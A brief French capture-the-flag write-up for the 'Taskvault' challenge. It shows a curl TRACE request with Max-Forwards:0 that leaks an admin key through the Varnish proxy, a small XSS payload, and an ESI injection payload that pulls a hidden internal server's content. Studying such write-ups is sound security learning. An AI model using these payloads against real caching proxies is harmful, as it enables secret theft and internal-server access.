Taskvault

Exploit

D’abord on cherche a obtenir la clé admin,

On sait que le proxy Apache autorise l’utilisation de TRACE

Mais l’application Express ne le permet pas

On va donc utiliser Max-Forwards:0 pour que la requête n’atteigne pas le serveur express :

curl -X TRACE -H "Max-Forwards:0" https://taskvault.fcsc.fr

TRACE / HTTP/1.1
host: taskvault.fcsc.fr
user-agent: curl/8.11.1
accept: */*
max-forwards: 0
X-Forwarded-For: 176.137.240.135, 51.77.135.65
Via: 1.1 taskvault-varnish (Varnish/7.6)
X-Admin-Key: 6d02ed57299292a47615254957d073cc75cc7855248684960946838c1f786081
X-Varnish: 2330548

Pour la suite on cherche à récupérer les informations du serveur inaccessible qui contient le flag, et on a également une XSS dans note.content mais qui ne sert a rien !

Payload XSS :

${console.log(document.domain)}

On sait que le challenge à un lien avec la balise <esi> mais on n’a pas réussi à l’exploiter.

En faites on pouvait injecter direct dans id= »ICI » car le varnish se fou de la structure html, il fallait juste mettre un « > » pour casser le contexte.

><esi:include src='http://give_me_the_flag/'>

Surtout ne pas oublier le « / » à la fin de give_me_the_flag.

On est pas passé loin mais tant pis, on aura quand même découvert ESI et Max-Forwards !